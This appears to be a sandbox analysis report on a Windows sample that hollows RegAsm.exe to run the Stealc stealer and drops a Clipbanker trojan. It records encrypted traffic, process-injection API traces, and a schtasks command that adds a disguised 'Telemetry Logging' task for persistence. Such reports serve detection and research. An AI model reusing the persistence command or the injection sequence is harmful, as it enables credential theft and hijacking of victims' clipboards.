2024-09-09 16:45:12 UTC	16384	IN	Data Raw: 26 95 8e fc 14 b4 c0 a9 a6 76 86 6d 74 53 fc e9 9f 78 83 7c d7 2f 41 0d 03 2e 60 a6 e6 ab ff 8c 97 d6 73 59 72 e3 58 32 26 e6 a5 47 bd c8 80 f8 fa 50 ca 7f 40 0b d7 da 50 58 51 3a 81 e3 1f 49 d1 54 8b c0 06 f4 48 10 cc e6 9a a7 3e 13 b5 77 7a 3e 9a 62 58 93 4b 83 a3 62 49 a6 65 53 ab 39 ef 93 15 32 24 2d 0b 8a d6 24 d5 11 1e 10 26 a5 14 c5 b6 0a b2 11 64 bf 45 ef f5 88 de 3b 04 c7 34 68 14 c2 db 19 0b da df 0e 6d 80 35 51 86 1b ea 4f 92 bd 6e ea 3c 20 5a c9 23 10 d0 8e bd d8 1e a7 ee a7 ca e8 cf 0b 36 6f 2d 52 3d df 4c ec 07 2e ed 16 ee b7 19 85 86 ad c7 8e 7a b2 6b 08 33 21 52 7e 8f 4b 45 33 07 5b 0a f7 17 d4 d9 36 98 e5 f2 29 aa 26 59 5d 9f ab 62 22 41 7e 99 ef 9b 0d 82 82 3b 4b 5b b3 6f ef 45 eb 6f 60 7c 45 c9 8d 5f fb 43 b6 35 19 3c ec 06 d0 11 c3 02 Data Ascii: &vmtSx\|/A.`sYrX2&GP@PXQ:ITH>wz>bXKbIeS92$-$&dE;4hm5QOn< Z#6o-R=L.zk3!R~KE3[6)&Y]b"A~;K[oEo`\|E_C5<
2024-09-09 16:45:12 UTC	16384	IN	Data Raw: 3e 2e 63 85 57 cd 5f 6c 42 23 fc b8 e7 64 bc eb 88 46 e5 cc 62 42 90 db 4b c5 51 81 31 0c 9d f0 0c 45 d8 d9 9f 1b a1 5f da f8 4f a8 fa 87 60 8e 9b 3b 9e 15 98 a2 ed 61 91 74 ff bf bf c9 c6 3c 6c 01 ce 5c 32 30 7d d5 79 3b 0d 94 2b 05 5b 77 7a 02 9b 28 49 5e 9a ae 58 f9 54 9c 46 de 01 25 46 94 c3 87 64 4f b4 98 1a 27 fd 84 e4 02 6d 12 25 fb 33 2d b1 da 5a 75 12 4c f5 ed 66 a5 9b 4d f7 78 4d f9 0b b4 ca 06 a2 68 10 f2 1c 8e 41 9a 17 8f 84 82 d0 73 19 74 2c 1f f1 4f df ae e9 38 43 1a 09 e6 14 34 35 29 94 9a 08 23 f0 c9 91 bb a5 b2 59 30 67 51 b8 5d 69 15 dd eb 91 f1 41 1a 50 38 69 a9 ad 6f ed 9d bf 55 a9 a1 85 93 f9 13 ea ea c9 c4 4d 1f 6b 02 c3 83 a8 ab b0 c5 a2 1f 56 2d 5e cb 22 30 1d 02 78 94 ab 68 f1 a7 1a 75 7a c9 15 61 c2 87 b1 20 c4 d5 22 d5 d2 33 8a Data Ascii: >.cW_lB#dFbBKQ1E_O`;at<l\20}y;+[wz(I^XTF%FdO'm%3-ZuLfMxMhAst,O8C45)#Y0gQ]iAP8ioUMkV-^"0xhuza "3
2024-09-09 16:45:12 UTC	16320	IN	Data Raw: 8d a9 38 b7 77 65 31 73 70 1f f0 af 8b 28 db 6e 7e ec c0 a5 3e 57 87 49 1a 8e 82 62 cf e7 38 53 b0 a6 bd 33 d4 37 cd 99 4a f6 62 06 92 f5 e8 1d b3 ed fd d5 3a 8c 40 6c 95 88 ac e5 5d 43 86 d6 d1 2a 2f c0 0a 5f 0a 0c 92 2a 6f 63 90 1e 29 dd 30 49 aa 0e c1 6a 36 98 bd db e3 5e 9a a4 47 1d 1d 55 c3 a5 df 0a 26 66 a8 50 86 1b c4 67 0c 8d 71 f8 d4 0f b3 55 00 6f 03 d9 ff 47 2b 6e 2c b0 c2 a1 6a fc 3a 80 a8 22 9d 22 08 dc de 2b c4 76 85 0a a8 65 6d 2d ae 41 f5 19 34 6f 01 15 b6 26 9e b1 50 49 49 30 9b 1d 6b 5b 2f b9 21 80 6a 3c 89 55 29 55 7a 60 6a 0a eb ee 29 5e 20 85 2e ec 8f 5b 41 c1 5b f5 6e 00 5a b9 65 f5 15 c0 a5 0c 0c 89 88 86 af 5a 66 04 a7 8b a0 60 43 c3 68 eb f9 f9 43 7d 87 cb 1d 87 73 7f 10 1d f0 97 cc bc 02 2c ab 66 17 c0 c1 d6 a3 a8 fc 26 ad fb 6f Data Ascii: 8we1sp(n~>WIb8S37Jb:@l]C/_oc)0Ij6^GU&fPgqUoG+n,j:""+vem-A4o&PII0k[/!j<U)Uz`j)^ .[A[nZeZf`ChC}s,f&o
2024-09-09 16:45:12 UTC	16384	IN	Data Raw: 05 e0 01 cf 69 2c 44 4f 30 ee 72 56 a0 ee 73 20 08 4b 38 a8 8c 14 39 05 4b 2b 78 68 f4 a1 9f 7c 72 93 c7 81 b8 7b 3a b5 32 9e 6b bb 45 72 f2 30 dd 8a 67 67 c4 51 1c 1f 1d 2e 6e b1 35 f8 34 b5 ac 17 0d 0b eb 58 8f fc 93 e2 35 99 2c 22 c7 79 8d 4d 66 31 47 e2 a6 ec 37 49 f0 4a fa 05 fe b4 0b 73 34 3e a1 87 c8 37 20 10 5c af 76 9f 96 38 5b 76 9d 23 93 15 cd 08 4a 03 41 96 fd 8d 61 10 d0 15 5b 0b 44 79 5a a5 4c 84 84 29 6b 43 0e e1 2e 14 8e d1 19 e3 ef 2c 52 d4 f0 70 c9 3d 90 c6 c9 ca bf a4 df fe bf 95 5c b6 dc de 6d d0 38 71 02 a5 78 c2 85 66 bc 8f 90 0a dc 09 9f 1e 60 0e fb c7 e2 46 95 5c 49 89 ed 59 ea d7 81 71 8b ee 3f dc 84 de 9a 35 3e 3d 18 28 c2 71 18 6b 5b 62 87 0a 1c c3 98 20 e1 57 43 e3 bd 00 51 6c d9 44 d2 4a 44 91 ec f3 9b e6 76 ba 1b a4 46 8a a8 Data Ascii: i,DO0rVs K89K+xh\|r{:2kEr0ggQ.n54X5,"yMf1G7IJs4>7 \v8[v#JAa[DyZL)kC.,Rp=\m8qxf`F\IYq?5>=(qk[b WCQlDJDvF

Target ID:	0
Start time:	12:44:58
Start date:	09/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x750000
File size:	210'984 bytes
MD5 hash:	6BED76E79419ACB6CC20BCACF67DEC0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:44:58
Start date:	09/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:44:58
Start date:	09/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:44:59
Start date:	09/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6392 -s 928
Imagebase:	0x7a0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:45:14
Start date:	09/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BKKFCFBKFC.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:45:14
Start date:	09/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:45:14
Start date:	09/09/2024
Path:	C:\ProgramData\BKKFCFBKFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\BKKFCFBKFC.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000B.00000002.2209559446.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000B.00000002.2209559446.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 74%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:45:15
Start date:	09/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x280000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:45:15
Start date:	09/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:45:17
Start date:	09/09/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000F.00000002.4498459924.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000F.00000002.4498459924.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 74%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	12:45:19
Start date:	09/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x280000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:45:19
Start date:	09/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	44.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30%
Total number of Nodes:	20
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02C62131 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02C620A3,02C62093), ref: 02C622A0
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02C622B3
Wow64GetThreadContext.KERNEL32(000001A0,00000000), ref: 02C622D1
ReadProcessMemory.KERNELBASE(000001D4,?,02C620E7,00000004,00000000), ref: 02C622F5
VirtualAllocEx.KERNELBASE(000001D4,?,?,00003000,00000040), ref: 02C62320
WriteProcessMemory.KERNELBASE(000001D4,00000000,?,?,00000000,?), ref: 02C62378
WriteProcessMemory.KERNELBASE(000001D4,00400000,?,?,00000000,?,00000028), ref: 02C623C3
WriteProcessMemory.KERNELBASE(000001D4,-00000006,?,00000004,00000000), ref: 02C62401
Wow64SetThreadContext.KERNEL32(000001A0,02A20000), ref: 02C6243D
ResumeThread.KERNELBASE(000001A0), ref: 02C6244C

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02C6229F
WriteProcessMemory, xrefs: 02C62244
VirtualAllocEx, xrefs: 02C62231
Load, xrefs: 02C6216F
ReadProcessMemory, xrefs: 02C6221E
GetP, xrefs: 02C621B3
TerminateProcess, xrefs: 02C6232F
VirtualAlloc, xrefs: 02C621F8
ResumeThread, xrefs: 02C6226D
ress, xrefs: 02C621BB
aryA, xrefs: 02C62177
CreateProcessA, xrefs: 02C621E5
GetThreadContext, xrefs: 02C6220B
SetThreadContext, xrefs: 02C62257

Memory Dump Source

Source File: 00000000.00000002.2209575626.0000000002C61000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c61000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: b5fa84f149fc9009132a160d9b308a2632344a6f07190e8f756af00d0a8bcef6
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 41B1E67664024AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB341D774FA41CB94

Function 012A0AE7 Relevance: 1.8, APIs: 1, Instructions: 255
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03C63590,?,?,?), ref: 012A0DDC

Memory Dump Source

Source File: 00000000.00000002.2209221506.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12a0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 68c75adb62f6004e9ab8754a11da017ba024300255abd0e6f3f421fb2aa196ee
Instruction ID: ee4bc4368d82dabd63e945da2ff04b62618ec3d17cc3c0556fa97f7962ef95b7
Opcode Fuzzy Hash: 68c75adb62f6004e9ab8754a11da017ba024300255abd0e6f3f421fb2aa196ee
Instruction Fuzzy Hash: 19A1BE71A146558FCB06CFAAC8806ADFFF2FF49310F58C55AE459EB252C334A941CBA4

Function 012A04C0 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03C63590,?,?,?), ref: 012A0DDC

Memory Dump Source

Source File: 00000000.00000002.2209221506.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12a0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 40590a4941c364aa069c286e79ee26f113464f647afb094833246515281ae4b5
Instruction ID: d9d2ed5765830bff171773f59bd8a1535677e4b13fd1749b9239428fe192cf5d
Opcode Fuzzy Hash: 40590a4941c364aa069c286e79ee26f113464f647afb094833246515281ae4b5
Instruction Fuzzy Hash: 4421E0B590165DAFCB10DF9AC884ADEFFB4FB48310F50812AEA18A7200C374A950CFE5

Analysis Process: RegAsm.exePID: 2680, Parent PID: 6392COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,010F2968), ref: 004195FD
GetProcAddress.KERNEL32(75900000,010F2988), ref: 00419615
GetProcAddress.KERNEL32(75900000,010FA6F0), ref: 0041962E
GetProcAddress.KERNEL32(75900000,010FA840), ref: 00419646
GetProcAddress.KERNEL32(75900000,010FA708), ref: 0041965E
GetProcAddress.KERNEL32(75900000,010FA768), ref: 00419677
GetProcAddress.KERNEL32(75900000,010F4190), ref: 0041968F
GetProcAddress.KERNEL32(75900000,010FA858), ref: 004196A7
GetProcAddress.KERNEL32(75900000,010FA5B8), ref: 004196C0
GetProcAddress.KERNEL32(75900000,010FA780), ref: 004196D8
GetProcAddress.KERNEL32(75900000,010FA5D0), ref: 004196F0
GetProcAddress.KERNEL32(75900000,010F29C8), ref: 00419709
GetProcAddress.KERNEL32(75900000,010F2D28), ref: 00419721
GetProcAddress.KERNEL32(75900000,010F2AE8), ref: 00419739
GetProcAddress.KERNEL32(75900000,010F2C68), ref: 00419752
GetProcAddress.KERNEL32(75900000,010FA600), ref: 0041976A
GetProcAddress.KERNEL32(75900000,010FA6C0), ref: 00419782
GetProcAddress.KERNEL32(75900000,010F4438), ref: 0041979B
GetProcAddress.KERNEL32(75900000,010F2B48), ref: 004197B3
GetProcAddress.KERNEL32(75900000,010FA618), ref: 004197CB
GetProcAddress.KERNEL32(75900000,010FA690), ref: 004197E4
GetProcAddress.KERNEL32(75900000,010FA630), ref: 004197FC
GetProcAddress.KERNEL32(75900000,010FA660), ref: 00419814
GetProcAddress.KERNEL32(75900000,010F2CC8), ref: 0041982D
GetProcAddress.KERNEL32(75900000,010FA798), ref: 00419845
GetProcAddress.KERNEL32(75900000,010FA7C8), ref: 0041985D
GetProcAddress.KERNEL32(75900000,010FA8E8), ref: 00419876
GetProcAddress.KERNEL32(75900000,010FA870), ref: 0041988E
GetProcAddress.KERNEL32(75900000,010FA900), ref: 004198A6
GetProcAddress.KERNEL32(75900000,010FA930), ref: 004198BF
GetProcAddress.KERNEL32(75900000,010FA888), ref: 004198D7
GetProcAddress.KERNEL32(75900000,010FA8A0), ref: 004198EF
GetProcAddress.KERNEL32(75900000,010FA8D0), ref: 00419908
GetProcAddress.KERNEL32(75900000,011017C8), ref: 00419920
GetProcAddress.KERNEL32(75900000,010FA918), ref: 00419938
GetProcAddress.KERNEL32(75900000,010FA8B8), ref: 00419951
GetProcAddress.KERNEL32(75900000,010F2A48), ref: 00419969
GetProcAddress.KERNEL32(75900000,011020C0), ref: 00419981
GetProcAddress.KERNEL32(75900000,010F2A08), ref: 0041999A
GetProcAddress.KERNEL32(75900000,01102138), ref: 004199B2
GetProcAddress.KERNEL32(75900000,01102150), ref: 004199CA
GetProcAddress.KERNEL32(75900000,010F2BC8), ref: 004199E3
GetProcAddress.KERNEL32(75900000,010F2AC8), ref: 004199FB
LoadLibraryA.KERNEL32(01102018,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(01102240,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(01101F88,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(011021E0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(01101FA0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(011021B0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(011020D8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(01101FB8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(75FD0000,010F2C88), ref: 00419AAA
GetProcAddress.KERNEL32(75FD0000,011021C8), ref: 00419AC2
GetProcAddress.KERNEL32(75FD0000,010FAA28), ref: 00419ADA
GetProcAddress.KERNEL32(75FD0000,01102210), ref: 00419AF3
GetProcAddress.KERNEL32(75FD0000,010F29E8), ref: 00419B0B
GetProcAddress.KERNEL32(734B0000,010F4500), ref: 00419B30
GetProcAddress.KERNEL32(734B0000,010F2CA8), ref: 00419B49
GetProcAddress.KERNEL32(734B0000,010F4398), ref: 00419B61
GetProcAddress.KERNEL32(734B0000,01102060), ref: 00419B79
GetProcAddress.KERNEL32(734B0000,01102258), ref: 00419B92
GetProcAddress.KERNEL32(734B0000,010F2B88), ref: 00419BAA
GetProcAddress.KERNEL32(734B0000,010F2CE8), ref: 00419BC2
GetProcAddress.KERNEL32(734B0000,01102090), ref: 00419BDB
GetProcAddress.KERNEL32(763B0000,010F2A28), ref: 00419BFC
GetProcAddress.KERNEL32(763B0000,010F2D08), ref: 00419C14
GetProcAddress.KERNEL32(763B0000,01101F70), ref: 00419C2D
GetProcAddress.KERNEL32(763B0000,01102030), ref: 00419C45
GetProcAddress.KERNEL32(763B0000,010F2A68), ref: 00419C5D
GetProcAddress.KERNEL32(750F0000,010F4410), ref: 00419C83
GetProcAddress.KERNEL32(750F0000,010F44B0), ref: 00419C9B
GetProcAddress.KERNEL32(750F0000,01101FD0), ref: 00419CB3
GetProcAddress.KERNEL32(750F0000,010F2AA8), ref: 00419CCC
GetProcAddress.KERNEL32(750F0000,010F2C28), ref: 00419CE4
GetProcAddress.KERNEL32(750F0000,010F42A8), ref: 00419CFC
GetProcAddress.KERNEL32(75A50000,01102048), ref: 00419D22
GetProcAddress.KERNEL32(75A50000,010F2D48), ref: 00419D3A
GetProcAddress.KERNEL32(75A50000,010FAAC8), ref: 00419D52
GetProcAddress.KERNEL32(75A50000,01102078), ref: 00419D6B
GetProcAddress.KERNEL32(75A50000,011020F0), ref: 00419D83
GetProcAddress.KERNEL32(75A50000,010F2D68), ref: 00419D9B
GetProcAddress.KERNEL32(75A50000,010F2C08), ref: 00419DB4
GetProcAddress.KERNEL32(75A50000,011020A8), ref: 00419DCC
GetProcAddress.KERNEL32(75A50000,01101FE8), ref: 00419DE4
GetProcAddress.KERNEL32(75070000,010F2C48), ref: 00419E06
GetProcAddress.KERNEL32(75070000,01102228), ref: 00419E1E
GetProcAddress.KERNEL32(75070000,01102108), ref: 00419E36
GetProcAddress.KERNEL32(75070000,01102000), ref: 00419E4F
GetProcAddress.KERNEL32(75070000,01102120), ref: 00419E67
GetProcAddress.KERNEL32(74E50000,010F2A88), ref: 00419E88
GetProcAddress.KERNEL32(74E50000,010F2B08), ref: 00419EA1
GetProcAddress.KERNEL32(75320000,010F2B28), ref: 00419EC2
GetProcAddress.KERNEL32(75320000,01102168), ref: 00419EDA
GetProcAddress.KERNEL32(6F080000,010F2B68), ref: 00419F00
GetProcAddress.KERNEL32(6F080000,010F2BE8), ref: 00419F18
GetProcAddress.KERNEL32(6F080000,010F2BA8), ref: 00419F30
GetProcAddress.KERNEL32(6F080000,01102180), ref: 00419F49
GetProcAddress.KERNEL32(6F080000,011029D8), ref: 00419F61
GetProcAddress.KERNEL32(6F080000,01102AF8), ref: 00419F79
GetProcAddress.KERNEL32(6F080000,01102A18), ref: 00419F92
GetProcAddress.KERNEL32(6F080000,01102B18), ref: 00419FAA
GetProcAddress.KERNEL32(6F080000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F080000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(74E00000,01102198), ref: 00419FF9
GetProcAddress.KERNEL32(74E00000,010FAAE8), ref: 0041A011
GetProcAddress.KERNEL32(74E00000,011021F8), ref: 0041A029
GetProcAddress.KERNEL32(74E00000,01102288), ref: 0041A042
GetProcAddress.KERNEL32(74DF0000,01102AB8), ref: 0041A063
GetProcAddress.KERNEL32(6CD10000,011022A0), ref: 0041A084
GetProcAddress.KERNEL32(6CD10000,01102818), ref: 0041A09D
GetProcAddress.KERNEL32(6CD10000,01102300), ref: 0041A0B5
GetProcAddress.KERNEL32(6CD10000,01102318), ref: 0041A0CD

Strings

InternetSetOptionA, xrefs: 00419FB5
HttpQueryInfoA, xrefs: 00419FCC

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
